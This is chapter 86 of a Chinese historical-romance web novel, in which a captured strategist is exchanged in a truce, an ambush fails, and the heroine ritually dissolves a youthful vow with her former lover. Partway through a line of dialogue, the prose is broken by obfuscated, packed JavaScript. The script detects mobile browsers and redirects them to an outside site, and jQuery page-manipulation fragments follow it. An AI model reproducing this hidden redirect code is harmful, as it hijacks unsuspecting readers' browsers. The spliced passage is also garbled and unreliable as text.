86. 断誓

作品:《乱世离人歌

    在裴依寻离开皇宫的第二日,边关战报送到京城。墨川军北上,北丘宜安沦陷,不日便要到朝廷。


    满朝震惊。


    当初女帝等人皆以为,昌原剑州才归顺朝廷,根基不稳,唐阅肯定会从这两地入手,因而计无伤一直守在郯州。


    却不料唐阅铤而走险,居然去攻打宜安与北丘。玉窈马上传信郯州,命计无伤速归护驾。


    朝廷的圣旨才发出去,墨川的谈判信就飞入皇城。


    墨川愿意从宜安北丘撤兵,前提是朝廷要放回文彦卿。


    这是个不错的交易,既能解京城之围,还能重夺宜安北丘。但南宫却劝道:“陛下不可,唐阅能有今日之势,文彦卿居功至伟。若放他回墨川,来年定是我朝大患。如今已走脱一个菩云子,此人决不能再放过。”


    玉窈有些心急:“那怎么办!墨川马上就要打过来了。”


    南宫一拜:“陛下放心,计将军肯定能在墨川打过来时抵达奉京。”


    “那宜安与北丘呢?”玉窈又问。


    南宫微微一笑:“臣自有办法!”


    ......


    文彦卿在皇宫才过几天好日子,就被提出来扔进马车。随行的侍卫说,朝廷与墨川和谈,用他换回宜安与北丘。


    听上去没什么错,可一出城,文彦卿就发现不对。马车外的禁军换成了军队,领头者还是大名鼎鼎的计无伤。


    这就奇了,计无伤回京,奉京之危解除,为何还要同意这桩交易?


    难不成真是为了宜安与北丘?


    文彦卿还没疑惑多久,马车就停了。计无伤对前来迎接的人抱拳一拜:“人已经送到了,还请墨川遵守约定,退出宜安北丘一带!”


    来人是关镶,他跟着抱拳朗笑道:“计将军放心,我军已退兵三十里!”


    文彦卿听着二人对话,实在不放心,立刻跳出来。他身后就是浩浩荡荡的朝廷大军,而前面关镶带来的士兵少之又少,最多十几个。他神情越发凝重,直奔过去问:“关将军,只有你们来吗?”


    关镶有些忿意:“文大人不知,只有我军退出北丘宜安了,朝廷才愿意和谈,否则就把你脑袋送过来。大将军没办法,只能收兵退守三十里,再派我等来迎你回去。”


    文彦卿听着,脖子顿感一凉,心里还是觉得不对劲儿。经过御花园的两次宴会,他能察觉到朝廷想除掉他,今日又为何要放他回去。


    随着墨川带走文彦卿,朝廷大军也往前走,显然是去收复旧地。计无伤依旧守在原地,目光深沉地盯着他们。


    文彦卿心里的不安感越重,只是他们走了十几里,也不见有任何事发生。关镶便道:“文大人放心,前面就是我们营地了,还能发生什么事儿。”


    俗话说,话不能说的太满。这不,事情就来了。


    山道前方,缓缓走来一名玄袍小将。关镶以前在战场上见过他,立即沉下脸色:“蒙将军,交易结束,你来做什么!”


    蒙冲步调不急不满,从容说道:“正是因为结束了,我才能来取你几人性命!”


    话音刚落,他就提枪杀来。关镶知道他本事,立即拔刀应对。可刀刚出鞘,那枪已近身前。关镶心一凉,只觉得命不久矣。却不料下一瞬,寒光从天而降,弹开银枪。


    菩云子像是个出门郊游的千金小姐,笑吟吟落在关镶等人身前,对蒙冲道:“小将军,背后食言,可不是君子所为哦?”


    蒙冲嘴角勾起一抹冷笑:“兵不厌诈!道长连这点道理都不清楚吗?”


    文彦卿更关心另一件事,立刻凑到菩云子身边问:“道长,夫人呢?”


    菩云子正色道:“放心,她已经安全了。倒是你们赶紧离开此地,我来拖出他。”


    关镶与文彦卿对视一眼,立刻抱拳:“道长保重!”


    蒙冲眼见墨川一行人想走,立刻拔枪阻拦,却被菩云子截住。她厉声劝道:“小将军,朝廷早已腐朽不堪,你又何必执迷不悟,留在这里是非不分!”


    然而蒙冲还是一如既往的固执,冷笑道:“何为执迷?为何对错?这话应该我来问道长才对!明明陛下才是当今天下之主,为何你要助一个名不正言不顺的反贼!”


    菩云子道:“谁是天下之主,应该由天下百姓做主。如今万民皆入墨川,便证明唐阅才是能令天下太平的明君。”


    蒙冲一□□去,不甘示弱:“若没有你们,凭我师父的能力照样能拔出奉京那帮毒瘤。女帝深明大义,谦逊爱民,能为天下黎民,躬身竹庐请师父出山。此等贤明圣君你们不奉,却追随一个反贼,何等可笑!”


    言语间,两人已交手数十招。菩云子眼见实在说服不了他,只得飞上树间,平静道:“你既冥顽不灵,我也不必多劝。告辞!”


    蒙冲没有去追,他明白两人间的差距,过去也是自讨欺辱,更何况眼前还有另一桩要紧事。


    墨川得到文彦卿,很有可能撕毁和谈,重新攻打宜安。他必须跟上朝廷军队,以备来敌。


    一切尘埃落定,两边折腾几番,谁也没落到好。初夏刚结束,朝廷的女帝“生”下一子,刚出生便被封为皇太子。


    而在另一边的墨川,住在贺兰府里的玉窕也生下一子,一个真正的皇子。贺兰章初闻这个消息,犹豫会儿,还是把消息告知将军府。


    在天下黎民百姓前,一个小小的婴儿无足轻重。


    裴依寻回到墨川那天,正巧撞上贺兰章来将军府谈论此事。两人就在大门前撞在一起,一个进去,一个出来。目光交汇的一刹那,两人都愣住了。


    文彦卿与菩云子就在裴依寻身后,云彦卿首先注意到大门前的唐阅,正要招呼,就被菩云子一手肘打断。他吃痛捂住肚子,这才发现唐阅身边还有另一人。


    顿时,气氛就很微妙了。


    裴依寻轻吸一口气,走上台阶笑问:“贺兰大人,近日可好?”


    贺兰章微微颔首:“多谢夫人关心,在下一切安好,也望夫人事事顺遂。”


    裴依寻语调轻松,半开玩笑道:“那你可要失望了,从我们上次分开后,我事事都挺不顺的。”


    贺兰章轻轻勾起唇角,颇有些过去如玉公子的影子,温声道:“夫人风雨已过,接下来定是长虹艳阳。”


    “承你吉言!”裴依寻说着,对他招招手,“再见!”


    贺兰章跟着一拜,两人擦肩而过。另外三人都松一口气。文彦卿、菩云子上前与贺兰章说事,唐阅迎裴依寻步入深院。


    两人本该就此错过,谁料裴依寻突然停步,转身大声道:“贺兰子卿!”


    贺兰章恍然回到过去,下意识回应:“阿寻有事?”


    裴依寻从院中跑来,脸上挂着悠然的笑:“你随我来!”她抓住还在呆愣的贺兰章,冲进外面的街道。


    余下的文彦卿顿感不妙,缓缓转动脖颈,果真见唐阅黑着一张脸立在院中。菩云子一副看戏的模样:“将军既然在意,何不跟


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13721733|135025||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    过去一瞧?”


    唐阅目光更沉:“我答应过她,要信她。”


    “外面街市这么乱,将军就不怕夫人遇见什么危险吗?”菩云子又问。


    唐阅的神情略有松动,什么话也没说,大步朝前走去。


    很久以前,战争还没爆发。裴依寻一睁眼,没有迎来没好的早晨,而是看见自己穿越成婴儿的事实。


    她成了郦阳首富裴家大小姐,却不甘老实嫁人的命运,私下与城墙脚代人写信的贺兰章相识。


    话本里的穷书生与千金小姐走到最后,往往都是书生高中状元,小姐成了尊贵的诰命夫人。


    裴依寻认为自己与贺兰章也是一个话本,与他立下誓言,只求“一生一世一双人”。


    奈何命运捉弄,誓言被埋在过去的光阴里。穷酸秀才和千金小姐都得到了他们想要的,却没有在一起,所隔山海,越来越远。


    熙熙攘攘的街道上,裴依寻盯着旁边的文房四宝店,笑道:“你还记得吗?当初你向我立誓,将来高中后,定要八抬大轿,迎我过门。”


    贺兰章眼中划过一丝惭愧,低声道:“抱歉!是我食言。”


    裴依寻摇摇头:“不,最先食言的算我。我想问问你,可还记得当初我们立誓的仪式?”


    贺兰章身影一顿:“记得。”


    “那好,今日我们二人就将誓言再说一遍!”


    裴依寻说完,已经伸出小拇指,这是她从前世带来的,只教给贺兰章一人。


    两人勾住小拇指,又将大拇指合印。贺兰章沉声道:“我贺兰之卿在此立誓,将来金榜题名,定要八抬大轿,迎娶阿寻过门!”


    时光仿佛回到过去,柳树下立誓的秀才那般局促,又格外认真,清秀的脸上泛着微微红意。他语气没今日的沉稳,一段誓言磕磕绊绊念了好半天。却很小心,生怕自己将来辜负面前的心上人。


    裴依寻像过去那样笑起来,只是没了欢喜与得意:“那好,誓言成立。”


    一语落下,两人松开小拇指,绕着合印的大拇指转动手腕,半圈后,贺兰章握住她的手:“阿寻,我不负你。”


    这也是仪式的一部分。裴依寻垂眸一笑:“当年是我天真,一直没告诉你,该如何断誓。今日便再教你一次吧!”


    她深纳一口气,抬起头,释然道:“贺兰大人,请你伸出右手。”


    贺兰章照做。“啪”的一声,裴依寻与他双手相贴,郑重道:“少年戏言,做不得真。今日阿寻与之卿,自愿断誓,一拍两散,山水无期,各生欢喜!”


    同样的一对人,不同的时光,不同的誓言。贺兰章的思绪回到现在,释然轻笑:“我贺兰章,愿与裴依寻断誓!”


    过去,他们都放不下,都不甘,都在指责命运弄人。一个妄图破镜重圆,再续良缘。一个妄图负心人跌落九霄,凄然终身。


    可经历这么多,那些不甘和愤怒都成了心底的轻烟薄雾。一阵风吹来,过去的恩恩怨怨、爱恨情仇,烟消云散。


    三击掌后,裴依寻收回自己的手,笑容灿烂而轻松,她慢慢后退,对他招手道:“贺兰大人,再见!”


    贺兰章用同样爽朗的笑容说道:“在下恭送夫人!”


    街市热闹依旧,而在冷清的巷子里,菩云子问:“将军,这下可否满意。”


    唐阅目光深邃,嘴角却在微微上扬。还是什么都没说,转身离去。文彦卿松一口气,感叹道:“好了,终于万事大吉了!”